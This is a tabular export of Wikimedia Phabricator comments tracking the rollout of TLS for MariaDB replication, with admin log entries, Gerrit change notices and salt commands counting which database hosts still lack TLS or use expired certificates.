+803173,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoDnMONQMK9DA-FJ9og} [2017-02-03T10:54:49Z] <jynus> preparing to reimage db2053 T111654",,,1486119290,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+803139,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoDZTNeQMK9DA-FJ9nY} [2017-02-03T09:54:08Z] <jynus> upgrade & restart of db2063 T111654",,,1486115648,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+802689,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVn_-NwqQMK9DA-FJ9ZY} [2017-02-02T17:56:56Z] <jynus> upgrade & restart of db2059 T111654",,,1486058216,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+802677,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVn_7O9oHQCSeVEJfHju} [2017-02-02T17:43:54Z] <jynus> upgrade & restart of db2052 T111654",,,1486057435,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+802252,Set up TLS for MariaDB replication,"```
+sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
+130
+```
+
+18 with expired certs:
+
+```
+db1021.eqiad.wmnet: cacert
+db1022.eqiad.wmnet: cacert
+db1036.eqiad.wmnet: cacert
+db1015.eqiad.wmnet: cacert
+db2052.codfw.wmnet: cacert
+db2059.codfw.wmnet: cacert
+db2063.codfw.wmnet: cacert
+db2053.codfw.wmnet: cacert
+db2054.codfw.wmnet: cacert
+db2041.codfw.wmnet: cacert
+db2061.codfw.wmnet: cacert
+db2039.codfw.wmnet: cacert
+db2046.codfw.wmnet: cacert
+db2045.codfw.wmnet: cacert
+db2036.codfw.wmnet: cacert
+db2064.codfw.wmnet: cacert
+db2050.codfw.wmnet: cacert
+db2043.codfw.wmnet: cacert
+```",,,1485993223,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1
+802251,Set up TLS for MariaDB replication,"```
+sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
+130
+```
+
+18 with expired hosts:
+
+```
+db1021.eqiad.wmnet: cacert
+db1022.eqiad.wmnet: cacert
+db1036.eqiad.wmnet: cacert
+db1015.eqiad.wmnet: cacert
+db2052.codfw.wmnet: cacert
+db2059.codfw.wmnet: cacert
+db2063.codfw.wmnet: cacert
+db2053.codfw.wmnet: cacert
+db2054.codfw.wmnet: cacert
+db2041.codfw.wmnet: cacert
+db2061.codfw.wmnet: cacert
+db2039.codfw.wmnet: cacert
+db2046.codfw.wmnet: cacert
+db2045.codfw.wmnet: cacert
+db2036.codfw.wmnet: cacert
+db2064.codfw.wmnet: cacert
+db2050.codfw.wmnet: cacert
+db2043.codfw.wmnet: cacert
+```",,,1485993202,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1
+802250,Set up TLS for MariaDB replication,"```
+sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
+130
+```",,,1485993013,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,82,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1
+801511,Set up TLS for MariaDB replication,"36 pending hosts:
+```
+db1030.eqiad.wmnet: NULL
+db1045.eqiad.wmnet: NULL
+db1020.eqiad.wmnet: NULL
+db1001.eqiad.wmnet: NULL
+db1039.eqiad.wmnet: NULL
+db1026.eqiad.wmnet: NULL
+labsdb1001.eqiad.wmnet: NULL
+labsdb1003.eqiad.wmnet: NULL
+db1037.eqiad.wmnet: NULL
+db1009.eqiad.wmnet: NULL
+db1016.eqiad.wmnet: NULL
+db1069.eqiad.wmnet: NULL
+db1067.eqiad.wmnet: cacert
+db1022.eqiad.wmnet: cacert
+db1021.eqiad.wmnet: cacert
+db1015.eqiad.wmnet: cacert
+db1036.eqiad.wmnet: cacert
+db2044.codfw.wmnet: cacert
+db2063.codfw.wmnet: cacert
+db2051.codfw.wmnet: cacert
+db2046.codfw.wmnet: cacert
+db2059.codfw.wmnet: cacert
+db2065.codfw.wmnet: cacert
+db2053.codfw.wmnet: cacert
+db2039.codfw.wmnet: cacert
+db2054.codfw.wmnet: cacert
+db2061.codfw.wmnet: cacert
+db2050.codfw.wmnet: cacert
+db2041.codfw.wmnet: cacert
+db2036.codfw.wmnet: cacert
+db2037.codfw.wmnet: cacert
+db2045.codfw.wmnet: cacert
+db2052.codfw.wmnet: cacert
+db2058.codfw.wmnet: cacert
+db2064.codfw.wmnet: cacert
+db2043.codfw.wmnet: cacert
+```",,,1485910050,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1
+801199,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVn1mgylQMK9DA-FJ8iK} [2017-01-31T17:37:10Z] <jynus> stopping mysql, upgrading and restarting db1011- temporary outage of tendril & dbtree T111654",,,1485884231,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,82,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+801195,Set up TLS for MariaDB replication,"Change 335233 merged by Jcrespo:
+mariadb: Add TLS support for tendril
+
+[[https://gerrit.wikimedia.org/r/335233]]",,,1485883582,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,82,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+801096,Set up TLS for MariaDB replication,"Change 335233 had a related patch set uploaded (by Jcrespo):
+mariadb: Add TLS support for tendril
+
+[[https://gerrit.wikimedia.org/r/335233]]
+",,,1485875376,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+801087,Set up TLS for MariaDB replication,"Change 335227 merged by Jcrespo:
+sanitarium2: Enable TLS, disable Toku-specific config
+
+[[https://gerrit.wikimedia.org/r/335227]]",,,1485873067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+801061,Set up TLS for MariaDB replication,"Change 335227 had a related patch set uploaded (by Jcrespo):
+sanitarium2: Enable TLS, disable Toku-specific config
+
+[[https://gerrit.wikimedia.org/r/335227]]
+",,,1485870482,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+797116,Set up TLS for MariaDB replication,"MySQLs with no SSL
+```
+$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'NULL'
+13
+```
+MySQL with expired TLS cert:
+```
+$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'cacert.pem'
+26
+```
+MySQL with latest TLS cert:
+```
+$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
+120
+```
+",,,1485311397,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,81,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1
+779258,Set up TLS for MariaDB replication,"Change 327703 merged by jenkins-bot:
+osc_host.sh: Add skip-ssl for the connection
+
+[[https://gerrit.wikimedia.org/r/327703]]",,,1481879069,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,76,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+779166,Set up TLS for MariaDB replication,"Change 327703 had a related patch set uploaded (by Marostegui):
+osc_host.sh: Added skip-ssl for the connection
+
+[[https://gerrit.wikimedia.org/r/327703]]
+",,,1481874022,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,76,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+778665,Set up TLS for MariaDB replication,"I have enabled TLS on neodymium and sarin, but because the mysql clients there are not using OpenSSL, clients will fail with:
+
+```
+ERROR 2026 (HY000): SSL connection error: unknown error number
+```
+
+I said we shouldn't, but we may have to create client packages after all, to allow for TLS 1.2 clients beyond the mysql servers.",,,1481825363,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,76,True,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+777690,Set up TLS for MariaDB replication,"MySQLs wit no SSL
+
+```
+$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'NULL'
+14
+```
+MySQL with expired TLS cert:
+
+```
+$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'cacert.pem'
+30
+```
+MySQL with latest TLS cert:
+
+```
+$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
+114
+```
+",,,1481739436,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,75,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1
+770475,Set up TLS for MariaDB replication,"List of eqiad hosts with the old cert:
+
+```
+
+db1015.eqiad.wmnet
+db1021.eqiad.wmnet
+db1022.eqiad.wmnet
+db1036.eqiad.wmnet
+db1054.eqiad.wmnet
+db1060.eqiad.wmnet
+db1063.eqiad.wmnet
+db1067.eqiad.wmnet
+db1074.eqiad.wmnet
+db1076.eqiad.wmnet
+
+db1046.eqiad.wmnet
+db1047.eqiad.wmnet
+dbstore1002.eqiad.wmnet
+dbstore1001.eqiad.wmnet
+labsdb1009.eqiad.wmnet
+labsdb1010.eqiad.wmnet
+labsdb1011.eqiad.wmnet
+```",,,1480623325,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,74,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+770464,Set up TLS for MariaDB replication,"Out of 157 active hosts responding to salt, 15 host with no TLS deployed, 42 with the old certificate, 100 with the puppet one:
+
+```
+$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'NULL'
+15
+$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'cacert.pem'
+42
+$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
+100
+```
+",,,1480622753,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1
+755845,Set up TLS for MariaDB replication,"Change 319831 merged by Jcrespo:
+Enable ssl (TLS) on misc database servers
+
+[[https://gerrit.wikimedia.org/r/319831]]",,,1478261031,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,70,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+755844,Set up TLS for MariaDB replication,"Change 319831 had a related patch set uploaded (by Jcrespo):
+Enable ssl (TLS) on misc database servers
+
+[[https://gerrit.wikimedia.org/r/319831]]
+",,,1478260884,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,70,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+755831,Set up TLS for MariaDB replication,"Change 319806 merged by Jcrespo:
+Allow SSL (TLS) and performance_schema on misc servers
+
+[[https://gerrit.wikimedia.org/r/319806]]",,,1478256535,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,70,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+755800,Set up TLS for MariaDB replication,"Change 319806 had a related patch set uploaded (by Jcrespo):
+Allow SSL (TLS) and performance_schema on misc servers
+
+[[https://gerrit.wikimedia.org/r/319806]]
+",,,1478251688,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,70,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+741815,Set up TLS for MariaDB replication,"Change 315051 merged by Jcrespo:
+Update phabricator my.cnf config template to include TLS config
+
+[[https://gerrit.wikimedia.org/r/315051]]",,,1476091530,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,66,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+741806,Set up TLS for MariaDB replication,"Change 315051 had a related patch set uploaded (by Jcrespo):
+Update phabricator my.cnf config template to include TLS config
+
+[[https://gerrit.wikimedia.org/r/315051]]
+",,,1476090083,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,66,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+741802,Set up TLS for MariaDB replication,"Change 315049 merged by Jcrespo:
+Change phabricator misc dbs to use puppet TLS certificates
+
+[[https://gerrit.wikimedia.org/r/315049]]",,,1476089624,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,66,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+741796,Set up TLS for MariaDB replication,"Above commands as of now:
+```
+$ sudo salt -C 'G@cluster:mysql and G@site:eqiad' cmd.run 'grep -l 'server\.key' /etc/my.cnf' | grep -c '/etc/my\.cnf'
+102
+$ sudo salt -C 'G@cluster:mysql and G@site:eqiad' cmd.run 'pt-config-diff --defaults-file=/root/.my.cnf --report-width=200 h=localhost /etc/my.cnf | grep ""server\.key""' | grep -c 'server\.key'
+20
+```",,,1476088965,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,66,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+741793,Set up TLS for MariaDB replication,"Change 315049 had a related patch set uploaded (by Jcrespo):
+Change phabricator misc dbs to use puppet TLS certificates
+
+[[https://gerrit.wikimedia.org/r/315049]]
+",,,1476088784,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,66,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+669921,Set up TLS for MariaDB replication,"Count of the missing DBs that needs restart to get the puppet certs:
+- 30 in eqiad over 74 configured with the new certs
+- 33 in codfw over 65 configured with the new certs
+- 18 External Storage that are not counted above because they are still configured with the old certs in site.pp.
+ - 6 of them (es1) don't actually need it until clients needs to connect with TLS given that they are standalone (no replication).
+
+For reference here the commands used to count them:
+```
+# Hosts that needs restart to get the puppet certs in eqiad
+$ sudo salt -C 'G@cluster:mysql and G@site:eqiad' cmd.run 'pt-config-diff --defaults-file=/root/.my.cnf --report-width=200 h=localhost /etc/my.cnf | grep ""server\.key""' | grep -c 'server\.key'
+
+# Hosts configured with the pupper certs in eqiad
+$ sudo salt -C 'G@cluster:mysql and G@site:eqiad' cmd.run 'grep -l 'server\.key' /etc/my.cnf' | grep -c '/etc/my\.cnf'
+```",,,1464348110,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+664550,Set up TLS for MariaDB replication,"Change 288420 merged by Volans:
+MariaDB: remove special SSL option multiple-ca
+
+[[https://gerrit.wikimedia.org/r/288420]]",,,1463592192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+662810,Set up TLS for MariaDB replication,"Change 288419 merged by Volans:
+Remove temporary certificate with both CAs
+
+[[https://gerrit.wikimedia.org/r/288419]]",,,1463404793,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+661181,Set up TLS for MariaDB replication,"Change 288420 had a related patch set uploaded (by Volans):
+MariaDB: remove special SSL option multiple-ca
+
+[[https://gerrit.wikimedia.org/r/288420]]
